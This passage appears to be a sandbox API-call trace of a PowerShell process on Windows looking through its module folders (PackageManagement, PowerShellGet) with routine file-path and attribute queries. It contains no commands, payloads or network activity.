(in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0130.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0130.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0130.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0130.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0130.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0130.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0131.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.000] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.000] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0131.000] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.000] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0131.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0131.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee094) returned 1 [0131.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee358 | out: lpFileInformation=0x59ee358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0131.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee090) returned 1 [0131.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0131.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0131.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0131.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0131.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0b8) returned 1 [0131.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x23e6384 | out: lpFileInformation=0x23e6384*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0131.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b4) returned 1 [0131.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0131.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0131.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0131.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0131.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0131.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0131.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0131.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0131.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0131.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.002] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.002] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0131.002] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.002] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0131.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0131.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee094) returned 1 [0131.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee358 | out: lpFileInformation=0x59ee358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0131.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee090) returned 1 [0131.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0131.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0131.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0131.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0131.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee0b8) returned 1 [0131.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x23e78f4 | out: lpFileInformation=0x23e78f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0131.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b4) returned 1 [0131.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0131.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0131.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0131.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0131.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0131.003] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0131.005] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0131.012] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0131.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0131.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0131.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0131.013] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.013] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.013] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0131.013] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0131.014] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.014] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0131.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0131.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0131.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0131.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0131.014] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0131.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0131.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0131.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0131.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0131.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0131.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0131.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0131.016] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.016] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, 